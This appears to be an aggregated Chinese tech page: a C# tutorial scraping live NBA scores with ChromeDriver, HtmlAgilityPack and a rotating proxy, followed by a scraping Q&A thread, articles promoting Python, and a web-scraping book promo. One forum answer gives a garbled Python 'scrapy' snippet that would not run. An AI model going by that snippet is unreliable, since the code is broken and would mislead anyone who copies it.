      HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();<br />            doc.LoadHtml(Helper.ReadTxt(System.Environment.CurrentDirectory + "\\PageSource\\" + info.TxMatchId.Replace(":", "_") + ".txt"));<br />            int? HomeTeamScore = null;<br />            int? GuestTeamScore = null;<br />            List MatchScoreList = new List();<br />            HtmlNode titleNodes = doc.DocumentNode.SelectSingleNode("//div[@class='inner']");<br />            var titleNodes2 = doc.DocumentNode.SelectSingleNode("//div[@class='content-wrapper']");<br />            if (titleNodes2 != null)<br />            //  if (false)<br />            {<br />                Console.WriteLine(titleNodes2.InnerText);<br />                var host = titleNodes2.SelectSingleNode("//div[@class='team-goal host']");<br />                var arr = host.InnerText.Replace("\r\n", "|");<br />                var arrs = arr.Split('|');<br />                arrs = arrs.Where(o => !string.IsNullOrWhiteSpace(o)).Select(o => o.Split('(')[0].Trim()).ToArray();<br />                HomeTeamScore = int.Parse(arrs[1]);<br />                MatchScoreList.Add(new MatchScore() { TeamName = arrs[0], TeamScore = HomeTeamScore });<br /><br />                var guest = titleNodes2.SelectSingleNode("//div[@class='team-goal guest']");<br /><br />                var arr2 = guest.InnerText.Replace("\r\n", "|");<br />                var arrs2 = arr2.Split('|');<br />                arrs2 = arrs2.Where(o => !string.IsNullOrWhiteSpace(o)).Select(o => o.Split('(')[0].Trim()).ToArray();<br /><br />                GuestTeamScore = int.Parse(arrs2[1]);<br /><br />                MatchScoreList.Add(new MatchScore() { TeamName = arrs2[0], TeamScore = GuestTeamScore });<br />            }<br />            else<br />            {<br />                var a = titleNodes.SelectNodes("//a[@data-target='teamName']");<br />                var score = titleNodes.SelectNodes("//span[@class='score']");<br />                if (score != null)<br />                {<br />                    int i = 0;<br />                    foreach (var item in score)<br />                    {<br />                        SetText("\r\n" + item.InnerText?.Trim());<br />                        if (i == 0)<br />                        {<br />                            HomeTeamScore = Convert.ToInt32(item.InnerText?.Trim());<br />                        }<br />                        if (i == 1)<br />                        {<br />                            GuestTeamScore = Convert.ToInt32(item.InnerText?.Trim());<br />                        }<br /><br />                        i++;<br />                    }<br />                }<br /><br />                if (a != null)<br />                {<br />                    int i = 0;<br />                    foreach (var item in a)<br />                    {<br />                        SetText("\r\n" + item.InnerText?.Trim());<br /><br />                        if (i == 0)<br />                        {<br />                            MatchScoreList.Add(new MatchScore() { TeamName = item.InnerText?.Split('(')[0].Trim(), TeamScore = HomeTeamScore });<br />                        }<br />                        if (i == 1)<br />                        {<br />                            MatchScoreList.Add(new MatchScore() { TeamName = item.InnerText?.Split('(')[0].Trim(), TeamScore = GuestTeamScore });<br />                        }<br /><br />                        i++;<br />                    }<br />                }<br />            }<br /><br />            string statusstr = "";<br /><br />            var t = titleNodes.SelectSingleNode("//div[@class='datetime-live-desc']");<br />            SetText("\r\n" + t.InnerText?.Trim());<br />            statusstr = t.InnerText?.Trim();<br /><br />            var Status = info.Status;<br />            if (!string.IsNullOrWhiteSpace(statusstr) && statusstr.Contains("已结束"))<br />            {<br />                Status = MatchStatus.End;<br />            }<br /><br />
  最后再搞个小弹框,把数据输出即可。 查看全部

  c# 爬虫
  背景
  最近NBA总决赛吸引了不少球迷,但是因为时差的关系,人家在比赛,我们在上班,有时候上班又不好意思光明正大的看比赛,那有什么办法可以光明正大的看又不被发现呢。
  有,自己动手丰衣足食,ChromeDriver+HtmlAgilityPack爬取比赛实时比分。
  概述
  WebDriver 就是对浏览器提供的原生API进行封装,使其成为一套更加面向对象的Selenium WebDriver API。使用这套API可以操控浏览器的开启、关闭,打开网页,操作界面元素,控制Cookie,还可以操作浏览器截屏、安装插件、设置代理、配置证书等。
  HtmlAgilityPack是.net下的一个HTML解析类库。支持用XPath来解析HTML。这个意义不小,为什么呢?因为对于页面上的元素的xpath某些强大的浏览器能够直接获取得到,并不需要手动写。节约了大半写正则表达式的时间,当然正则表达式有时候在进一步获取的时候还需要写,但是通过xpath解析之后,正则表达式已经要匹配的范围已经非常小了。而且,不用正则表达式在整个页面源代码上匹配,速度也会有提升。总而言之,通过该类库,先通过浏览器获取到xpath获取到节点内容然后再通过正则表达式匹配到所需要的内容,无论是开发速度,还是运行效率都有提升。
  代码实现
  下面我们来看下如何使用ChromeDriver+HtmlAgilityPack爬取比赛实时比分。
  抓取网页
   //api<br />                        string url = "https://sports.qq.com/kbsweb/game.htm?mid=" + model.TxMatchId;<br /><br />                        //   string url = "https://kbs.sports.qq.com/kbsw ... %3Bbr />                        //  MatchUpdate model = new MatchUpdate();<br /><br />                        var cds = ChromeDriverService.CreateDefaultService();<br />                        //是否应隐藏服务的命令提示符窗口<br />                        cds.HideCommandPromptWindow = true;<br /><br />                        ChromeOptions options = new ChromeOptions();<br />                        options.AddArguments("--test-type", "--ignore-certificate-errors");<br />                        //   options.AddArguments("user-agent=mozilla/5.0 (linux; u; android 2.3.3; en-us; sdk build/ gri34) applewebkit/533.1 (khtml, like gecko) version/4.0 mobile safari/533.1");<br />                        options.AddArgument("enable-automation");<br /><br />                        //  options.setBinary("C:/Program Files (x86)/Google/Chrome/chrome.exe");<br /><br />                        var r = ZhimaHttpProxy.GetProxy(false);<br />                        if (r != null)<br />                        {<br />                            Console.WriteLine(r.Address.Host);<br />                            Console.WriteLine(r.Address.Port);<br /><br />                            string proxy_Host = r.Address.Host;<br />                            int proxy_Post = r.Address.Port;<br />                            string Ex_Proxy_Name = "proxy.zip";<br /><br />                            options.Proxy = null;<br />                            options.AddArguments("--proxy-server=" + proxy_Host + ":" + proxy_Post.ToString());<br />                            options.AddExtension(Ex_Proxy_Name);<br />                        }<br /><br />                        if (IsHideMode)<br />                            options.AddArgument("headless");<br /><br />                        string dic = System.Environment.CurrentDirectory + "\\cos";<br /><br />                        if (IsHideMode)<br />                        {<br />                            using (IWebDriver driver = new OpenQA.Selenium.Chrome.ChromeDriver(cds, options, TimeSpan.FromSeconds(120)))<br /><br />                            {<br />                                Excule(driver, url, model);<br />                            }<br />                        }<br />                        else<br />                        {<br />                            using (IWebDriver driver = new OpenQA.Selenium.Chrome.ChromeDriver(dic, options, TimeSpan.FromSeconds(120)))<br /><br />                            {<br />                                Excule(driver, url, model);<br />                            }<br />                        }<br />
  解析网页
      HtmlAgilityPack.HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();<br />            doc.LoadHtml(Helper.ReadTxt(System.Environment.CurrentDirectory + "\\PageSource\\" + info.TxMatchId.Replace(":", "_") + ".txt"));<br />            int? HomeTeamScore = null;<br />            int? GuestTeamScore = null;<br />            List MatchScoreList = new List();<br />            HtmlNode titleNodes = doc.DocumentNode.SelectSingleNode("//div[@class='inner']");<br />            var titleNodes2 = doc.DocumentNode.SelectSingleNode("//div[@class='content-wrapper']");<br />            if (titleNodes2 != null)<br />            //  if (false)<br />            {<br />                Console.WriteLine(titleNodes2.InnerText);<br />                var host = titleNodes2.SelectSingleNode("//div[@class='team-goal host']");<br />                var arr = host.InnerText.Replace("\r\n", "|");<br />                var arrs = arr.Split('|');<br />                arrs = arrs.Where(o => !string.IsNullOrWhiteSpace(o)).Select(o => o.Split('(')[0].Trim()).ToArray();<br />                HomeTeamScore = int.Parse(arrs[1]);<br />                MatchScoreList.Add(new MatchScore() { TeamName = arrs[0], TeamScore = HomeTeamScore });<br /><br />                var guest = titleNodes2.SelectSingleNode("//div[@class='team-goal guest']");<br /><br />                var arr2 = guest.InnerText.Replace("\r\n", "|");<br />                var arrs2 = arr2.Split('|');<br />                arrs2 = arrs2.Where(o => !string.IsNullOrWhiteSpace(o)).Select(o => o.Split('(')[0].Trim()).ToArray();<br /><br />                GuestTeamScore = int.Parse(arrs2[1]);<br /><br />                MatchScoreList.Add(new MatchScore() { TeamName = arrs2[0], TeamScore = GuestTeamScore });<br />            }<br />            else<br />            {<br />                var a = titleNodes.SelectNodes("//a[@data-target='teamName']");<br />                var score = titleNodes.SelectNodes("//span[@class='score']");<br />                if (score != null)<br />                {<br />                    int i = 0;<br />                    foreach (var item in score)<br />                    {<br />                        SetText("\r\n" + item.InnerText?.Trim());<br />                        if (i == 0)<br />                        {<br />                            HomeTeamScore = Convert.ToInt32(item.InnerText?.Trim());<br />                        }<br />                        if (i == 1)<br />                        {<br />                            GuestTeamScore = Convert.ToInt32(item.InnerText?.Trim());<br />                        }<br /><br />                        i++;<br />                    }<br />                }<br /><br />                if (a != null)<br />                {<br />                    int i = 0;<br />                    foreach (var item in a)<br />                    {<br />                        SetText("\r\n" + item.InnerText?.Trim());<br /><br />                        if (i == 0)<br />                        {<br />                            MatchScoreList.Add(new MatchScore() { TeamName = item.InnerText?.Split('(')[0].Trim(), TeamScore = HomeTeamScore });<br />                        }<br />                        if (i == 1)<br />                        {<br />                            MatchScoreList.Add(new MatchScore() { TeamName = item.InnerText?.Split('(')[0].Trim(), TeamScore = GuestTeamScore });<br />                        }<br /><br />                        i++;<br />                    }<br />                }<br />            }<br /><br />            string statusstr = "";<br /><br />            var t = titleNodes.SelectSingleNode("//div[@class='datetime-live-desc']");<br />            SetText("\r\n" + t.InnerText?.Trim());<br />            statusstr = t.InnerText?.Trim();<br /><br />            var Status = info.Status;<br />            if (!string.IsNullOrWhiteSpace(statusstr) && statusstr.Contains("已结束"))<br />            {<br />                Status = MatchStatus.End;<br />            }<br /><br />
  最后再搞个小弹框,把数据输出即可。

c#抓取网页数据:看源码和最佳方案可以多看看

网站优化优采云 发表了文章 • 0 个评论 • 98 次浏览 • 2022-05-10 13:01 • 来自相关话题

  c#抓取网页数据:看源码和最佳方案可以多看看
  c#抓取网页数据:看源码和最佳方案
  可以多看看常用的net的语言资料,除了题主说的这两个,还有python,java等语言的教程,然后最好看看类似于的脚本语言,把它用好。
  抓取一般要抓取的是url,
  c#可以用cookiesession来实现一般网站都可以做得到。
  可以的,我最近也在看这方面的资料。
  这两个网站倒是没有用c#爬过。但是可以推荐一个教程教程也是从google抓取信息的,
  你说c#爬虫?,
  看看这个很简单就可以实现了:r=scrapy.spider('@')withr.get('/')asf:f.url.get('/')print(f.get('/'))很简单,不是爬虫,
  不如用python,找到这两个网站的源代码,
  前两天看了下爬虫问题,我还是推荐可以了解下爬虫吧。
  谢邀.我说c#怎么就变成了爬虫了.
  python的爬虫实在不懂,
  谢邀。我是有c#爬虫这个思路。你可以想办法让网站通过爬虫获取关键词,然后通过requests或者selenium.js获取到页面内容。 查看全部

  c#抓取网页数据:看源码和最佳方案可以多看看
  c#抓取网页数据:看源码和最佳方案
  可以多看看常用的net的语言资料,除了题主说的这两个,还有python,java等语言的教程,然后最好看看类似于的脚本语言,把它用好。
  抓取一般要抓取的是url,
  c#可以用cookiesession来实现一般网站都可以做得到。
  可以的,我最近也在看这方面的资料。
  这两个网站倒是没有用c#爬过。但是可以推荐一个教程教程也是从google抓取信息的,
  你说c#爬虫?,
  看看这个很简单就可以实现了:r=scrapy.spider('@')withr.get('/')asf:f.url.get('/')print(f.get('/'))很简单,不是爬虫,
  不如用python,找到这两个网站的源代码,
  前两天看了下爬虫问题,我还是推荐可以了解下爬虫吧。
  谢邀.我说c#怎么就变成了爬虫了.
  python的爬虫实在不懂,
  谢邀。我是有c#爬虫这个思路。你可以想办法让网站通过爬虫获取关键词,然后通过requests或者selenium.js获取到页面内容。

c#抓取网页数据 Python有哪些作用?

网站优化优采云 发表了文章 • 0 个评论 • 93 次浏览 • 2022-05-10 10:44 • 来自相关话题

  c#抓取网页数据 Python有哪些作用?
  今天跟大家聊聊Python吧。
  Python是什么呢?
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  据我多年Python经验总结,Python主要有以下四大主要应用:
  网络爬虫
  网站开发
  人工智能
  自动化运维
  接下来和大家聊聊这几个方面:
  一、网络爬虫
  首先,
  什么叫网络爬虫?
  网络爬虫又称网络蜘蛛,是指按照某种规则在网络上爬取所需内容的脚本程序。众所周知,每个网页通常包含其他网页的入口,网络爬虫则通过一个网址依次进入其他网址获取所需内容。
  爬虫有什么用?
  做垂直搜索引擎(google,baidu等).
  科学研究:在线人类行为,在线社群演化,人类动力学研究,计量社会学,复杂网络,数据挖掘,等领域的实证研究都需要大量数据,网络爬虫是收集相关数据的利器。
  偷窥,hacking,发垃圾邮件……
  爬虫是搜索引擎的第一步也是最容易的一步。
  用什么语言写爬虫?
  C,C++。高效率,快速,适合通用搜索引擎做全网爬取。缺点,开发慢,写起来又臭又长,例如:天网搜索源代码。
  脚本语言:Perl, Python, Java, Ruby。简单,易学,良好的文本处理能方便网页内容的细致提取,但效率往往不高,适合对少量网站的聚焦爬取
  C#?
  为什么眼下最火的是Python?
  个人用c#,java都写过爬虫。区别不大,原理就是利用好正则表达式。只不过是平台问题。后来了解到很多爬虫都是用python写的,于是便一发不可收拾。Python优势很多,总结两个要点:
  1)抓取网页本身的接口
  相比与其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。(当然ruby也是很好的选择)
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。这是我们需要模拟user agent的行为构造合适的请求,譬如模拟用户登陆、模拟session/cookie的存储和设置。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize
  2)网页抓取后的处理
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。Life is short, u need python.
  二、网站开发
  那开发网站需要用到哪些知识呢?
  1、python基础,因为用python开发的,所以python指定要会,最起码你也得会条件判断,循环,函数,类这些知识;
  2、html、css的基础知识,因为要开发网站,网页都html和css写的,最起码这些知识你得会,就算不会写前端,开发不出来特别漂亮的页面,网站,最起码要能看懂html标签是;
  3、数据库基础知识,因为开发一个网站的话,数据存在哪里,就是在数据库里,那你最起码要会数据库的增删改查吧,要不然怎么存数据,取数据呢
  上面这些知识会的话,开发一个简单的小站就没有问题了,如果想开发比较大型的网站,业务逻辑比较复杂的,那就得用到其他的知识了,比如说redis、MQ等等。
  三、人工智能
  人工智能(Artificial Intelligence),英文缩写为AI。它是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学。人工智能是计算机科学的一个分支,它企图了解智能的实质,并生产出一种新的能以人类智能相似的方式做出反应的智能机器,该领域的研究包括机器人、语言识别、图像识别、自然语言处理和专家系统等。人工智能从诞生以来,理论和技术日益成熟,应用领域也不断扩大,可以设想,未来人工智能带来的科技产品,将会是人类智慧的“容器”,也可能超过人的智能。
  Python正在成为机器学习的语言。大多数机器语言课程都是使用Python语言编写的,大量大公司使用的也是Python,让许多人认为它是未来的主要编程语言。
  有些人觉得PYTHON效率底,说他不能支持多线程,好吧,这个还有点说对了,但是我想问,看这篇文章的人有几个做过搜索引擎开发?有几个做个上亿PV的并发网站开发?有几个看过LINUX内核源码?如果没有,乖乖先把入门语言学会吧
  四、自动化运维
  Python能满足绝大部分自动化运维的需求,又能做后端C/S架构,又能用WEB框架快速开发出高大上的WEB界面,只有当你自已有能力做出一套运维自动化系统的时候,你的价值才体现出来。
  那么,该怎么学习Python呢?上个简图大概按这个思路走uoz,后面有空再细聊
   查看全部

  c#抓取网页数据 Python有哪些作用?
  今天跟大家聊聊Python吧。
  Python是什么呢?
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  据我多年Python经验总结,Python主要有以下四大主要应用:
  网络爬虫
  网站开发
  人工智能
  自动化运维
  接下来和大家聊聊这几个方面:
  一、网络爬虫
  首先,
  什么叫网络爬虫?
  网络爬虫又称网络蜘蛛,是指按照某种规则在网络上爬取所需内容的脚本程序。众所周知,每个网页通常包含其他网页的入口,网络爬虫则通过一个网址依次进入其他网址获取所需内容。
  爬虫有什么用?
  做垂直搜索引擎(google,baidu等).
  科学研究:在线人类行为,在线社群演化,人类动力学研究,计量社会学,复杂网络,数据挖掘,等领域的实证研究都需要大量数据,网络爬虫是收集相关数据的利器。
  偷窥,hacking,发垃圾邮件……
  爬虫是搜索引擎的第一步也是最容易的一步。
  用什么语言写爬虫?
  C,C++。高效率,快速,适合通用搜索引擎做全网爬取。缺点,开发慢,写起来又臭又长,例如:天网搜索源代码。
  脚本语言:Perl, Python, Java, Ruby。简单,易学,良好的文本处理能方便网页内容的细致提取,但效率往往不高,适合对少量网站的聚焦爬取
  C#?
  为什么眼下最火的是Python?
  个人用c#,java都写过爬虫。区别不大,原理就是利用好正则表达式。只不过是平台问题。后来了解到很多爬虫都是用python写的,于是便一发不可收拾。Python优势很多,总结两个要点:
  1)抓取网页本身的接口
  相比与其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。(当然ruby也是很好的选择)
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。这是我们需要模拟user agent的行为构造合适的请求,譬如模拟用户登陆、模拟session/cookie的存储和设置。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize
  2)网页抓取后的处理
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。Life is short, u need python.
  二、网站开发
  那开发网站需要用到哪些知识呢?
  1、python基础,因为用python开发的,所以python指定要会,最起码你也得会条件判断,循环,函数,类这些知识;
  2、html、css的基础知识,因为要开发网站,网页都html和css写的,最起码这些知识你得会,就算不会写前端,开发不出来特别漂亮的页面,网站,最起码要能看懂html标签是;
  3、数据库基础知识,因为开发一个网站的话,数据存在哪里,就是在数据库里,那你最起码要会数据库的增删改查吧,要不然怎么存数据,取数据呢
  上面这些知识会的话,开发一个简单的小站就没有问题了,如果想开发比较大型的网站,业务逻辑比较复杂的,那就得用到其他的知识了,比如说redis、MQ等等。
  三、人工智能
  人工智能(Artificial Intelligence),英文缩写为AI。它是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学。人工智能是计算机科学的一个分支,它企图了解智能的实质,并生产出一种新的能以人类智能相似的方式做出反应的智能机器,该领域的研究包括机器人、语言识别、图像识别、自然语言处理和专家系统等。人工智能从诞生以来,理论和技术日益成熟,应用领域也不断扩大,可以设想,未来人工智能带来的科技产品,将会是人类智慧的“容器”,也可能超过人的智能。
  Python正在成为机器学习的语言。大多数机器语言课程都是使用Python语言编写的,大量大公司使用的也是Python,让许多人认为它是未来的主要编程语言。
  有些人觉得PYTHON效率底,说他不能支持多线程,好吧,这个还有点说对了,但是我想问,看这篇文章的人有几个做过搜索引擎开发?有几个做个上亿PV的并发网站开发?有几个看过LINUX内核源码?如果没有,乖乖先把入门语言学会吧
  四、自动化运维
  Python能满足绝大部分自动化运维的需求,又能做后端C/S架构,又能用WEB框架快速开发出高大上的WEB界面,只有当你自已有能力做出一套运维自动化系统的时候,你的价值才体现出来。
  那么,该怎么学习Python呢?上个简图大概按这个思路走uoz,后面有空再细聊
  

c#抓取网页数据 学完Python后,都能干点什么?

网站优化优采云 发表了文章 • 0 个评论 • 84 次浏览 • 2022-05-10 10:41 • 来自相关话题

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。 查看全部

  c#抓取网页数据 学完Python后,都能干点什么?
  
  Python是一种全栈的开发语言,你如果能学好Python,前端,后端,测试,大数据分析,爬虫等这些工作你都能胜任。
  当下Python有多火我不再赘述,Python有哪些作用呢?
  
  相比其他静态编程语言,如java,c#,C++,python抓取网页文档的接口更简洁;相比其他动态脚本语言,如perl,shell,python的urllib2包提供了较为完整的访问网页文档的API。
  此外,抓取网页有时候需要模拟浏览器的行为,很多网站对于生硬的爬虫抓取都是封杀的。在python里都有非常优秀的第三方包帮你搞定,如Requests,mechanize。
  抓取的网页通常需要处理,比如过滤html标签,提取文本等。python的beautifulsoap提供了简洁的文档处理功能,能用极短的代码完成大部分文档的处理。
  
  其实以上功能很多语言和工具都能做,但是用python能够干得最快,最干净。
  就目前Python发展而言,Python主要有以下五大主要应用:
  接下来和大家一一聊聊学完python之后可以从事哪些方面的工作:
  Python Web开发工程师:我们都知道Web网站开发一直都是所有互联网公司开发的重点之一,我们离不开互联网,离不开Web技术,利用Python的Web框架可以迅速开发Web应用。
  Python爬虫开发工程师:在当前信息大爆炸时代,大量的信息都通过Web来展示,为了获取这些数据,网络爬虫工程师就应运而生,除了日常的抓取数据和解析数据的需求,还能够突破普通网站常见的反爬虫机制,以及更深层次的爬虫采集算法的编写。
  Python大数据工程师:在大数据时代,数据是公司的核心资产,从杂乱无章的数据中提取有价值的信息或者规律,成为了数据分析师的首要任务,而Python的工具链为这项繁重的工作提供了极高的效率支持。
  Python人工智能工程师:人工智能的迅速发展将深刻改变人类社会生活、改变世界。为抢抓人工智能发展的重大战略机遇,构筑我国人工智能发展的先发优势,加快建设创新型国家和世界科技强国,当前人工智能发展进入新阶段。
  
  Python拥有强大的脚本处理功能,它在操作Linux系统方面具有先天的优势,许多云平台、运维监控管理工具都是使用Python开发的,Python自动化运维让运维工程师的工作量减少效率提高!
  当然也不是说让所有人都去追逐新技术,什么流行学什么。工作或者学习之余,学些热门技术,可以让自己保持敏锐度和竞争力,因为说不好什么时候这些热门技术就成了你的饭碗。

新书推荐 ‖ 《Python网络数据采集》

网站优化优采云 发表了文章 • 0 个评论 • 120 次浏览 • 2022-05-10 10:19 • 来自相关话题

  新书推荐 ‖ 《Python网络数据采集》
  译者:陶俊杰,陈小莉
  定价:59
  网络上的数据量越来越大,单靠浏览网页获取信息越来越困难,如何有效地提取并利用信息已成为一个巨大的挑战。
  本书采用简洁强大的Python语言,介绍了网络数据采集,并为采集新式网络中的各种数据类型提供了全面的指导。第一部分重点介绍网络数据采集的基本原理:如何用Python从网络服务器请求信息,如何对服务器的响应进行基本处理,以及如何以自动化手段与网站进行交互。第二部分介绍如何用网络爬虫测试网站,自动化处理,以及如何通过更多的方式接入网络。
  作者译者
  【Ryan Mitchell】
  数据科学家、软件工程师。目前在波士顿LinkeDrive公司负责开发公司的API和数据分析工具。此前,曾在Abine公司构建网络爬虫和网络机器人。她经常做网络数据采集项目的咨询工作,主要面向金融和零售业。另著有:Instant Web Scraping with Java。
  【陶俊杰】
  长期从事数据分析工作,酷爱Python,每天都和Python面对面,乐此不疲。本科毕业于北京交通大学机电学院,硕士毕业于北京交通大学经管学院。曾就职于中国移动设计院,目前在京东任职。
  【陈小莉】
  长期从事数据分析工作,喜欢Python。本科与硕士毕业于北京交通大学电信学院。目前在中科院从事科技文献与专利分析工作。
  网络数据采集
  什么是网络数据采集
  在互联网上进行自动数据采集这件事和互联网存在的时间差不多一样长。虽然网络数据采集并不是新术语,但是多年以来,这件事更常见的称谓是网页抓屏(screen scraping)、数据挖掘(data mining)、网络收割(Web harvesting)或其他类似的版本。今天大众好像更倾向于用“网络数据采集”,因此我在本书中使用这个术语,不过有时会把网络数据采集程序称为网络机器人(bots)。
  理论上,网络数据采集是一种通过多种手段收集网络数据的方式,不光是通过与API交互(或者直接与浏览器交互)的方式。最常用的方法是写一个自动化程序向网络服务器请求数据(通常是用HTML表单或其他网页文件),然后对数据进行解析,提取需要的信息。
  实践中,网络数据采集涉及非常广泛的编程技术和手段,比如数据分析、信息安全等。本书将在第一部分介绍关于网络数据采集和网络爬行(crawling)的基础知识,一些高级主题放在第二部分介绍。
  为什么要做网络数据采集
  如果你上网的唯一方式就是用浏览器,那么你其实失去了很多种可能。虽然浏览器可以更方便地执行JavaScript,显示图片,并且可以把数据展示成更适合人类阅读的形式,但是网络爬虫收集和处理大量数据的能力更为卓越。不像狭窄的显示器窗口一次只能让你看一个网页,网络爬虫可以让你一次查看几千甚至几百万个网页。
  另外,网络爬虫可以完成传统搜索引擎不能做的事情。用Google搜索“飞往波士顿最便宜的航班”,看到的是大量的广告和主流的航班搜索网站。Google只知道这些网站的网页会显示什么内容,却不知道在航班搜索应用中输入的各种查询的准确结果。但是,设计较好的网络爬虫可以通过采集大量的网站数据,做出飞往波士顿航班价格随时间变化的图表,告诉你买机票的最佳时间。
  你可能会问:“数据不是可以通过API获取吗?”(如果你不熟悉API,请阅读第4章。) 确实,如果你能找到一个可以解决你的问题的API,那会非常给力。它们可以非常方便地向用户提供服务器里格式完好的数据。当你使用像Twitter或维基百科的API时,会发现一个API同时提供了不同的数据类型。通常,如果有API可用,API确实会比写一个网络爬虫程序来获取数据更加方便。但是,很多时候你需要的API并不存在,这是因为:
  •你要收集的数据来自不同的网站,没有一个综合多个网站数据的API;
  •你想要的数据非常小众,网站不会为你单独做一个API;
  •一些网站没有基础设施或技术能力去建立API。
  即使API已经存在,可能还会有请求内容和次数限制,API能够提供的数据类型或者数据格式可能也无法满足你的需求。
  这时网络数据采集就派上用场了。你在浏览器上看到的内容,大部分都可以通过编写Python程序来获取。如果你可以通过程序获取数据,那么就可以把数据存储到数据库里。如果你可以把数据存储到数据库里,自然也就可以将这些数据可视化。
  显然,大量的应用场景都会需要这种几乎可以毫无阻碍地获取数据的手段:市场预测、机器语言翻译,甚至医疗诊断领域,通过对新闻网站、文章以及健康论坛中的数据进行采集和分析,也可以获得很多好处。
  译者序
  每时每刻,搜索引擎和网站都在采集大量信息,非原创即采集。采集信息用的程序一般被称为网络爬虫(Web crawler)、网络铲(Web scraper,可类比考古用的洛阳铲)、网络蜘蛛(Web spider),其行为一般是先“爬”到对应的网页上,再把需要的信息“铲”下来。O’Reilly这本书的封面图案是一只穿山甲,图灵公司把这本书的中文版定名为“Python网络数据采集”。当我们看完这本书的时候,觉得网络数据采集程序也像是一只辛勤采蜜的小蜜蜂,它飞到花(目标网页)上,采集花粉(需要的信息),经过处理(数据清洗、存储)变成蜂蜜(可用的数据)。网络数据采集可以为生活加点儿蜜,亦如本书作者所说,“网络数据采集是为普通大众所喜闻乐见的计算机巫术”。
  网络数据采集大有所为。在大数据深入人心的时代,网络数据采集作为网络、数据库与机器学习等领域的交汇点,已经成为满足个性化网络数据需求的最佳实践。搜索引擎可以满足人们对数据的共性需求,即“我来了,我看见”,而网络数据采集技术可以进一步精炼数据,把网络中杂乱无章的数据聚合成合理规范的形式,方便分析与挖掘,真正实现“我征服”。工作中,你可能经常为找数据而烦恼,或者眼睁睁看着眼前的几百页数据却只能长恨咫尺天涯,又或者数据杂乱无章的网站中满是带有陷阱的表单和坑爹的验证码,甚至需要的数据都在网页版的PDF和网络图片中。而作为一名网站管理员,你也需要了解常用的网络数据采集手段,以及常用的网络表单安全措施,以提高网站访问的安全性,所谓道高一尺,魔高一丈……一念清净,烈焰成池,一念觉醒,方登彼岸,本书试图成为解决这些问题的一念,让你茅塞顿开,船登彼岸。
